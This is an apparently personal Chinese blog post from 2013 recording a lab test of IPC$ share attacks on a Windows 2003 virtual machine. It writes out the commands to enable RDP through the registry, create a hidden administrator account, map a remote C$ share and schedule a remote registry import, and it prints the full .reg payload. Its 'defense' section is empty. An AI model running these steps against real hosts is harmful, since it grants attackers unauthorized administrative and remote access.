IPC$ 测试与防范

物理机系统：Win7

虚拟机系统：Win2003

Netstat –an 查看本机端口 

Netstat –ano 查看本机端口+PID

通过本机上操作（比如登录网站），然后命令，查看对方IP以及端口

首先使用360极速浏览器插件查看本机ip

本机IPv6地址（临时）,感觉很屌！！！！

网页访问百度之后

百度IP

Netstat –ano查看

内部地址转外部地址

出现问题：本地地址访问的百度是172.19.166.5，但是没有172.19.166.5与外部地址的转换，初步怀疑是IPv6，但是百度ip显示的是

很是疑惑。

查看是哪个进程    ----     Tasklist

正题之一

命令行开启3389端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

 

命令： net user 帐号 密码 /add –创建帐号的命令

         net localgroup administrators 帐号 /add   --提升管理员命令

         net use 查询ipc链接

　　　 net time \\IP ---查询时间

 

360，你为何如此的屌！！！

结果：

net use q: \\IP地址\c$ --- 将远程IP的c盘映射到本机q盘

结果：

at \\IP 时间 regedit /s 路径 ---注册表导入命令

（打开3389端口）

注册表内容：

 1 Windows Registry Editor Version 5.00
 2 
 3 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
 4 "Enabled"="0"
 5 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
 6 "ShutdownWithoutLogon"="0"
 7 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
 8 "EnableAdminTSRemote"=dword:00000001 
 9 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
10 "TSEnabled"=dword:00000001
11 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
12 "Start"=dword:00000002 
13 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
14 "Start"=dword:00000002
15 [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] 
16 "Hotkey"="1"
17 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] 
18 "PortNumber"=dword:00000D3D
19 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
20 "PortNumber"=dword:00000D3D

 

 正题之二

防御

 

 

这只是很简单的学习，但是从中学到了许多。

 

转载请注明出处：http://www.cnblogs.com/yydcdut/p/3462810.html

posted @ 2013-12-07 14:59  我爱物联网  阅读(1594)  评论(0)  编辑  收藏  举报
AmazingCounters.com